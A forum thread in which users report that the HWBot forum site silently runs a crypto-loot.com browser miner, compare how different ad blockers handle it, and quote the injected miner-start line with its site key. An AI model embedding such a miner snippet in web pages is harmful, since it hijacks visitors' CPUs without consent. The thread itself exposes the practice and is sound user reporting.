Hello,

 

I checked, on my side the forum and website do not bring any UC usage after the page was loaded, under firefox.

I use obviously some AD/trackers blockers.

Also maybe as it had been suggested run an anti-malware just for the sake.

i did a scan with Defender and Malewarebytes. 0 founds... as expected its a absolute Fresh win 10 Install!

 

HWBot is the Only Website which i have this Incident with.

 

And see there This website uses the Service of "crypto-loot.com" to Mine Digital Currencys with my CPU without asking me.

Jokot apparently has the exact same issue on opera of all browsers, using only the built-in ad blocking. It's fine for me on firefox with adblock plus.

 

EDIT: Same issue appears for me with adblock plus disabled on forum.hwbot.org

Yeah as expected AD block/Ublock do not allow the crypto sfuff to run, if disabled same issue there.

Nice catch, ty for sharing!

lol Seems Like im almost the only user on HWBot without an Adblocker. Did you know that most websites live from advertising? Noone should use an Adblocker in my Opinion!

 

BTT:

 

I'm very worried about that the "organization" HWBot.org has enriched itself at the expense of its users in an obviously illigal way

In a respectful world of human being you could be right, in the world you actually live in you are completely wrong.

 

Please, do not jump to a conclusion too fast wait an answer from the admins about.

Yeah your right, Maybe its just the Fault of the Advertising Service HWBot is using. im sry in that Case.

 

OT: i stopped using Adblockers back in 2011 on all of my Devices and im Doing fine :)

Ive been using the built in adblocker in opera which didn't seam to block what ever was running, but after installing no coin the problem was fixed.

Interesting.

I run Ublock Origin on everything, that's why I don't see it.

Thanks for the info. It does seem a bit underhanded.

I can confirm!

 

Very shady practice. I'm really disappointed. Does not affect me, since I use blockers, but...

After disabling uBlock Origin on hwbot forum, CPU goes to 100% on all cores.

Look what happens once you allow it by disabling adblock and re-enabling it:

 

Trying to do fetch every 1-2 second

You should clear browser cache, close browser and open again to see it go.

 

Code

 

var miner = new CryptoLoot.Anonymous('5fc6284524573c64cd093a71e70bae0a08af8742562a'); 	miner.start()");

Thanks for the tipp, Ivan, I already thought my cpu dies or my OS. I use adblock plus but it did not help on ff, only disabling and reenabling it worked then. Let´s see what Massman can do about this
